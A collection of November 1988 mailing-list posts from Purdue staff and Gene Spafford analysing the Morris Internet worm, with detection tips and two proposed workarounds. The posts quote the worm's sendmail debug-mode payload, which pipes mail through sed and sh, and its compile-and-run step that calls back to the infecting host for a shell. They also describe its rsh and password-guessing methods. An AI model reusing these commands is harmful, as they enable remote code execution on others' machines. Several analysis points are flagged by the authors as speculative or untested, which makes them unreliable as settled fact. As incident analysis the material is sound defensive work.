------------------------------------------------------------------------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT

The patch from Keith Bostic in the last message is *not* sufficient to
halt the spread of the virus.  We have discovered from looking at the
binaries that the virus also attempts to spread itself via "rsh"
commands to other machines.  It looks through a *lot* of files to find
possible vectors to spread.

If you have a bunch of machines with hosts.equiv set or .rhosts files,
you should shut them *all* down at the same time after you have fixed
sendmail to prevent a further infestation.  If you don't clear out the
versions in memory, you won't protect your other machines.

The virus runs itself with the name "sh" and then overwrites argv, so if
a "ps ax" shows any processes named "(sh)" without a controlling tty,
you have a problem.  Due to the use of other uids from rsh, don't make
any conclusions if the uid is one of your normal users.

Also, check your mailq (do a mailq command).  If you see any entries
that pipe themselves through sed and sh, delete them from the queue
before you restart your machines.

Non-internet sites do not need to worry about this virus (for now!), but
be aware that mail and news may not be flowing everywhere for some time
-- many sites are disconnecting from the Internet completely until the
virus is contained.

-----------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself to
other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the worm.
The worm forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version of
itself as a mail message.

*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts entries).
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this
later).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c

2) This program is a simple "listener" or "helper" program of about a
hundred lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting worm program on the other
end of the socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  The command file it uses is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next, the
worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines.

6) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above).

Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to! It uses this information to attempt to penetrate
sendmail on those machines.  It also knows how to penetrate "fingerd" on
Vaxen (on Suns, the attempt results in a core dump).  I will privately
tell individuals how to fix the bug in fingerd, but for now change it so
it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  It also tries
to attack the passwords by trying a set of built-in words, the contents
of /usr/dict, and words snarfed from system files.  If it succeeds in
breaking a local password, it forks a child to use telnet to break into
that account and copy itself.

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  We do know that if it
doesn't break into any accounts or systems for a while, it enters a mode
where it tries to break the root password via brute force searching.  We
suspect that if it succeeds it then does very nasty things.

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax" as
"(sh)" (a login shell).  Don't trust any of these if you have them
running.

The program doesn't copy around source files (except the helper) -- it
copies around pre-compiled binaries that are linked on the local machine
and then run.  The worm appears to only be carrying binaries for
68020-based Suns and Vax 7xx and 8800 machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.  (Note: an infected 8800 is an
awesome engine of contagion.)

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that Xor with
0x81 will reveal interesting things, although that is not the only mask
used.

The first observation of the virus I have heard about was 6pm Wednesday
night in Pittsburgh.  It didn't hit Purdue until about 4 this morning.
We were lucky in that other sites, like CMU and Princeton, were hit
around 11 last night.

Acknowledgements: Some of the above information was obtained from Brian
Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).  Thanks,
guys.

---------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A worm "condom"
Date: Thu, 03 Nov 88 21:20:10 EST

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a
"condom" to protect your machine against the CURRENT worm.  They are not
100% sure it works, but it seems to be completely effective and it can't
do any harm.  As ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of a
reboot.  This will not stop a current infection, but it will prevent any
new ones from taking hold -- it prevents the worm from creating
replicas.

... --spaf

-------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST

FLASH!!

Kevin ("Adb's your friend.") Braunsdorf just burst into my office with a
cure discovered in the disassembled worm binary.

If there is an external variable in the library named "pleasequit" that
is non-zero, the worm will die immediately after exiting.  Thus, to kill
any new worms, include a patch in your library that defines the symbol.
The following shell file and source code will modify your C library to
define this symbol.

It WON'T kill any currently linked and running versions, but it will
prevent reinfection.

# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu
#
#  This archive contains:
#foo.sh
#foo.c
#
#
echo x - foo.sh
sed 's/X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

------------------------------------------------------------------------
From: geoff@fernwood.mpk.ca.us (the tty of Geoff Goodfellow)
Subject: Computer Network Disrupted by `Virus'
Date: Thu, 3 Nov 88 21:30:19 PST
.